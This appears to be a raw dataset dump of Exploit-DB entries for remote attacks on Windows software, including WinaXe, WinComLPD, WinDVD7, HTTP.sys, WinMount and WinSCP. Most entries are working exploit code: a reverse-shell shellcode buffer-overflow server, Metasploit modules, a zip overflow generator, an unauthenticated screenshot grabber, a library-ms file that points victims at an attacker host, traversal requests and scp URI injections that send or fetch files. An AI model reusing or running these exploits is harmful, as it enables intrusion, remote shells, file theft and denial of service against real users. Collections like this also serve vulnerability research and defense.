deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41073
Description: WinaXe Plus 8.7 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2017-01-16
Author: Peter Baris

Exploit:
# Exploit Title: WinaXe Plus 8.7 - lpr remote buffer overflow
# Date: 2017-01-16
# Exploit Author: Peter Baris
# Exploit link: http://www.saptech-erp.com.au/resources/winaxe_lpr.zip
# Software Link: http://www.labf.com/download/winaxep-ok.html
# Version: 8.7
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows 10 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64
#Start the fake LPD daemon -> Add the network printer -> Close

import socket

# WinAxe Plus 8.7 - lpr remote buffer overflow
# Author: Peter Baris
# Tested on Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows 10 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64
 
#reverse shell to 192.168.0.13 port 4444, length: 351 bytes, bad characters \x00\x0a\x0d
shell = ("\xb8\xb1\x79\xd9\xb5\xdb\xdc\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xeb\xfc\x31\x43\x0e\x03\xf2\x77\x3b\x40\x08\x6f\x39"
"\xab\xf0\x70\x5e\x25\x15\x41\x5e\x51\x5e\xf2\x6e\x11\x32\xff"
"\x05\x77\xa6\x74\x6b\x50\xc9\x3d\xc6\x86\xe4\xbe\x7b\xfa\x67"
"\x3d\x86\x2f\x47\x7c\x49\x22\x86\xb9\xb4\xcf\xda\x12\xb2\x62"
"\xca\x17\x8e\xbe\x61\x6b\x1e\xc7\x96\x3c\x21\xe6\x09\x36\x78"
"\x28\xa8\x9b\xf0\x61\xb2\xf8\x3d\x3b\x49\xca\xca\xba\x9b\x02"
"\x32\x10\xe2\xaa\xc1\x68\x23\x0c\x3a\x1f\x5d\x6e\xc7\x18\x9a"
"\x0c\x13\xac\x38\xb6\xd0\x16\xe4\x46\x34\xc0\x6f\x44\xf1\x86"
"\x37\x49\x04\x4a\x4c\x75\x8d\x6d\x82\xff\xd5\x49\x06\x5b\x8d"
"\xf0\x1f\x01\x60\x0c\x7f\xea\xdd\xa8\xf4\x07\x09\xc1\x57\x40"
"\xfe\xe8\x67\x90\x68\x7a\x14\xa2\x37\xd0\xb2\x8e\xb0\xfe\x45"
"\xf0\xea\x47\xd9\x0f\x15\xb8\xf0\xcb\x41\xe8\x6a\xfd\xe9\x63"
"\x6a\x02\x3c\x23\x3a\xac\xef\x84\xea\x0c\x40\x6d\xe0\x82\xbf"
"\x8d\x0b\x49\xa8\x24\xf6\x1a\x17\x10\xf8\xd7\xff\x63\xf8\xf6"
"\xa3\xea\x1e\x92\x4b\xbb\x89\x0b\xf5\xe6\x41\xad\xfa\x3c\x2c"
"\xed\x71\xb3\xd1\xa0\x71\xbe\xc1\x55\x72\xf5\xbb\xf0\x8d\x23"
"\xd3\x9f\x1c\xa8\x23\xe9\x3c\x67\x74\xbe\xf3\x7e\x10\x52\xad"
"\x28\x06\xaf\x2b\x12\x82\x74\x88\x9d\x0b\xf8\xb4\xb9\x1b\xc4"
"\x35\x86\x4f\x98\x63\x50\x39\x5e\xda\x12\x93\x08\xb1\xfc\x73"
"\xcc\xf9\x3e\x05\xd1\xd7\xc8\xe9\x60\x8e\x8c\x16\x4c\x46\x19"
"\x6f\xb0\xf6\xe6\xba\x70\x06\xad\xe6\xd1\x8f\x68\x73\x60\xd2"
"\x8a\xae\xa7\xeb\x08\x5a\x58\x08\x10\x2f\x5d\x54\x96\xdc\x2f"
"\xc5\x73\xe2\x9c\xe6\x51") 

 

#100299DD - CALL ESP in xwpdllib.dll
buffer="A"*512+"\xdd\x99\x02\x10"+"\x90"*32+shell
port = 515              
s = socket.socket()
ip = '0.0.0.0'             
s.bind((ip, port))            
s.listen(5)                    
 
print 'Listening on LPD port: '+str(port)
 
while True:
    conn, addr = s.accept()     
    conn.send(buffer)
    conn.close()
Exploit-DB #16335
Description: WinComLPD 3.0.2 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: wincomlpd_admin.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WinComLPD <= 3.0.2 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
				By sending an overly long authentication packet to the remote
				adminstration service, an attacker may be able to execute arbitrary
				code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					['CVE', '2008-5159'],
					['OSVDB', '42861'],
					['BID', '27614'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WinComLPD 3.0.2.623',   { 'Ret' => 0x0047d7a7 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Feb 4 2008',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(13500)], self)
	end

	def exploit
		connect

		# 'net start lpdservice' after you migrate!
		sploit =  "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
		sploit << make_nops(872 - payload.encoded.length)
		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
		sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
		sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)

		print_status("Trying target #{target.name}...")

		sock.puts(sploit)
		select(nil,nil,nil,5)

		handler
		disconnect
	end
end
Exploit-DB #51575
Description: Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution
Type: remote
Platform: windows
Date: 2023-07-07
Author: nu11secur1ty

Exploit:
## Title: Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution
## Author: nu11secur1ty
## Date: 01.14.2022
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/download/details.aspx?id=48264
## Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907
## CVE-2022-21907


## Description:
NOTE: After a couple of hours of tests and experiments, I found that
there have been no vulnerabilities, this is just a ridiculous
experiment of Microsoft. When I decided to install the IIS packages on
these Windows platforms, everything was ok, and everything is patched!
Windows Server 2019, Windows 10 version 1809 - 2018 year are not
vulnerable by default, but after I decided to upgrade from 1909 to
2004. I found a serious problem! The Windows 10 version 2004 - 2020
year is still vulnerable to the HTTP Protocol Stack (HTTP.sys). Attack
method: buffer overflow - deny of service and restart the system. This
problem exists, from last year which is reported on CVE-2021-31166,
and still there! On that days I have worked on it again with the help
and collaboration of Axel Souchet 0vercl0k the author of the idea. On
that day, I wrote an only one-line command to exploit this
vulnerability!

[+]Exploit:
```python
#!/usr/bin/python
# Author @nu11secur1ty
# CVE-2022-21907

from colorama import init, Fore, Back, Style
init(convert=True)
import requests
import time

print(Fore.RED +"Please input your host...\n")
print(Style.RESET_ALL)

print(Fore.YELLOW)
host = input()
print(Style.RESET_ALL)

print(Fore.BLUE +"Sending of especially malicious crafted packages,
please wait...")
print(Style.RESET_ALL)
time.sleep(17)

print(Fore.GREEN)
# The PoC :)
poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding':
'AAAAAAAAAAAAAAAAAAAAAAAA,\
	 BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,\
	 RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,\
	 TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,\
	 OOOAOAOOOAOOAOOOAOOOAOOOAOO,\
	 ****************************stupiD, *, ,',})
# Not necessary :)
print(poc,"\n")
print(Style.RESET_ALL)
```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows10Exploits/tree/master/2022/CVE-2022-21907)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2022/01/cve-2022-21907.html)

## Time spend:
05:30:00
Exploit-DB #52300
Description: Windows 2024.15 - Unauthenticated Desktop Screenshot Capture
Type: remote
Platform: windows
Date: 2025-05-25
Author: Chokri Hammedi

Exploit:
# Exploit Title: Windows 2024.15 -  Unauthenticated Desktop Screenshot Capture
# Date: 2025-05-19
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://rs.ltd
# Software Link: https://rs.ltd/latest.php?os=win
# Version: 2024.15
# Tested on: Windows 10/11 with Remote for Windows (helper)

'''
Description:
- Exploits the getScreenshot API endpoint in Remote for Windows helper
service
- Works when "Allow unknown devices" setting is enabled (default: disabled)
- Captures current desktop including login screens (SYSTEM-level access)

Vulnerable Component:
- /api/getScreenshot endpoint with missing authentication checks


# Identification:
nmap -p- -T4 <TARGET_IP> --script ssl-cert
Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
'''

#!/usr/bin/env python3

import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def capture_screenshot(ip, port, output_file):
    try:
        response = requests.get(
            f"https://{ip}:{port}/api/getScreenshot",
            headers={
                "X-ClientToken": "exploit",
                "X-HostName": "attacker-pc",
                "X-HostFullModel": "exploit-device"
            },
            verify=False,
            timeout=15
        )
        if response.status_code == 200 and
response.content.startswith(b'\xff\xd8'):
            with open(output_file, 'wb') as f:
                f.write(response.content)
            print(f"[+] Saved: {output_file}")
            return True
        print(f"[-] Failed: HTTP {response.status_code}")
        return False
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <IP> <PORT> <output.jpg>")
        sys.exit(1)
    sys.exit(0 if capture_screenshot(sys.argv[1], sys.argv[2], sys.argv[3])
else 1)
Exploit-DB #52325
Description: Windows File Explorer Windows 10 Pro x64 - TAR Extraction
Type: remote
Platform: windows
Date: 2025-06-13
Author: Daniel Miranda

Exploit:
import os
import tarfile

def main():
    file_name = input("Enter your file name: ")
    ip_address = input("Enter IP (EX: 192.168.1.162): ")

    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\IT</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""

    library_file_name = f"{file_name}.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)

    tar_name = "exploit.tar"
    with tarfile.open(tar_name, "w") as tarf:
        tarf.add(library_file_name)

    if os.path.exists(library_file_name):
        os.remove(library_file_name)

    print("completed")

if __name__ == "__main__":
    main()
Exploit-DB #30169
Description: WindowsPT 1.2 - User ID Key Spoofing
Type: remote
Platform: windows
Date: 2007-06-11
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/24412/info

WinPT (Windows Privacy Tray) is prone to a key-spoofing vulnerability because it fails to properly display user-supplied key data.

An attacker can exploit this issue to trick victim users into encrypting potentially sensitive information with a malicious key that appears to be legitimate.

WinPT 1.2.0 is vulnerable; other versions may also be affected. 

" <attacker@examle.com>"SSSSMMMMSSSS<victim@example2.com> "mailto:attacker@foo.org
Exploit-DB #16529
Description: WinDVD7 - 'IASystemInfo.dll' ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: windvd7_applicationtype.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX
				control in InterVideo WinDVD 7. By sending a overly long string
				to the "ApplicationType()" property, an attacker may be able to
				execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-0348' ],
					[ 'OSVDB', '34315' ],
					[ 'BID', '23071' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],

				],
			'DisclosureDate' => 'Mar 20 2007',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Build the exploit buffer
		filler = rand_text_alpha(548)
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh

		# Build out the message
		content = %Q|<html>
			<object classid='clsid:B727C217-2022-11D4-B2C6-0050DA1BD906' id='#{vname}'></object>
			<script language='javascript'>
			#{strname}= new String('#{sploit}')
			#{vname}.ApplicationType = #{strname}
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #30589
Description: WinImage 8.0/8.10 - File Handling Traversal Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-09-17
Author: j00ru//vx

Exploit:
source: https://www.securityfocus.com/bid/25687/info

WinImage is prone to a denial-of-service vulnerability and a directory-traversal vulnerability because the application fails to adequately sanitize user-supplied input.

Attackers can exploit these issues to cause a denial of service or to write malicious files to arbitrary directories.

WinImage 8.0 and 8.10 are vulnerable; other versions may also be affected. 

readme.txt/../../../../../../../../sth.bat
readme.txt<40 spaces here>/../../../../../../../../asdf.exe
Exploit-DB #31163
Description: WinIPDS 3.3 rev. G52-33-021 - Directory Traversal / Denial of Service
Type: remote
Platform: windows
Date: 2008-02-12
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27757/info

WinIPDS is prone to a directory-traversal vulnerability and a denial-of-service vulnerability.

Exploiting these issues will allow attackers to gain to sensitive information or crash the affected application, denying further service to legitimate users.

These issues affect WinIPDS 3.3 rev. G52-33-021; prior versions may also be affected. 

GET /../../../../../boot.ini HTTP/1.0
or
POST /..\../..\../..\boot.ini HTTP/1.0
Exploit-DB #27746
Description: winiso 5.3 - Directory Traversal
Type: remote
Platform: windows
Date: 2006-04-28
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/17721/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects WinISO version 5.3; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin
Exploit-DB #33848
Description: WinMount 3.3.401 - '.zip' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-04-19
Author: lilf

Exploit:
source: https://www.securityfocus.com/bid/39557/info

WinMount is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

WinMount 3.3.0401 is vulnerable; other versions may be affected. 

import os

sploitfile="test.zip"
ldf_header =('\x50\x4B\x03\x04\x14\x00\x00'
'\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\xd0\xff'
'\x00\x00\x00')
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xd0\xff"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\xfe\xff\x00\x00"
"\xee\xff\x00\x00"
"\x00\x00")
print "[+] Preparing payload\n"
size=65484
junk='A'*420
nseh='\x89\x8a\x8b\x8c'
seh='\x84\x5b\xac\x8d'
junk_='A'*33
jumpto='\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4'#make eax point to shellcode and jump to shellcode
shellcode=("the shellcode here will be changed into unicode")#encode by alpha2
junk__='B'*80
last='C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+".wav"
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print "[+] Removing old zip file\n"
os.system("del "+sploitfile)
print "[+] Writing payload to file\n"
fobj=open(sploitfile,"w",0)
fobj.write(evilzip)
print "generate zip file "+(sploitfile)
fobj.close()
print '[+] Wrote %d bytes to file sploitfile\n'%(len(evilzip))
print "[+] Payload length :%d \n"%(len(payload))
Exploit-DB #24012
Description: WinSCP 3.5.6 - Long URI Handling Memory Corruption
Type: remote
Platform: windows
Date: 2004-04-16
Author: Luca Ercoli

Exploit:
source: https://www.securityfocus.com/bid/10160/info

It has been reported that WinSCP may be prone to a denial of service condition resulting from memory corruption. This issue occurs when the application attempts to handle excessively long 'sftp:' or 'scp' addresses.

WinSCP 3.5.6 is reported to be vulnerable to this issue, however, it is possible that other versions are affected as well.

------ WinSCP_DoS1.html --------

<HTML>
<HEAD>
<TITLE>WinSCP DoS</TITLE>

<meta http-equiv="Refresh" content="0; URL=sftp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">

</HEAD>
<BODY>
</BODY>
</HTML>

-------- WinSCP_DoS2.html -------

<html>
  <head>
   <title>WinSCP DoS</title>

 <script language="JScript">

     var WshShell = new ActiveXObject("WScript.Shell");
     strSU = WshShell.SpecialFolders("StartUp");

     var fso = new ActiveXObject("Scripting.FileSystemObject");
     var vibas = fso.CreateTextFile(strSU + "\\WinSCPDoS.vbs",true);

     vibas.WriteLine("Dim shell");
     vibas.WriteLine("Dim quote");
     vibas.WriteLine("Dim DoS");
     vibas.WriteLine("Dim param");
     vibas.WriteLine("DoS = \"C:\\Programmi\\WinSCP3\\WinSCP3.exe\"");
     vibas.WriteLine("param = \"scp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"");
     vibas.WriteLine("set shell = WScript.CreateObject(\"WScript.Shell\")");
     vibas.WriteLine("quote = Chr(34)");
     vibas.WriteLine("pgm = \"explorer\"");
     vibas.WriteLine("shell.Run quote & DoS & quote & \" \" & param");

     vibas.Close();

    </script>

  </head>
</html>
Exploit-DB #28007
Description: WinSCP 3.8.1 - URI Handler Arbitrary File Access
Type: remote
Platform: windows
Date: 2006-06-12
Author: Jelmer Kuperus

Exploit:
source: https://www.securityfocus.com/bid/18384/info

WinSCP is prone to an arbitrary file-access vulnerability. 

An attacker can exploit this issue to upload arbitrary files to a victim user's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.

This issue affects version 3.8.1; earlier versions may also be vulnerable.

<a href="scp://user:password@www.example.com:22/%22%20/console%20/command%20%22lcd%20c:\%22%20%22get%201.exe%22%20exit">download malware.exe</a>
<a href="scp://jelmer@www.example.com:22/%22%20%22/log=c:%5csomefile%22"log</a>
Exploit-DB #30582
Description: WinSCP 4.0.3 - URL Protocol Handler Arbitrary File Access
Type: remote
Platform: windows
Date: 2007-09-13
Author: Kender.Security

Exploit:
source: https://www.securityfocus.com/bid/25655/info

WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to a victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.

This issue affects versions prior to WinSCP 4.0.4.

<iframe src='scp:password@yourhost.com:" /console /command "option
confirm off" "put c:\boot.ini" close exit "'/>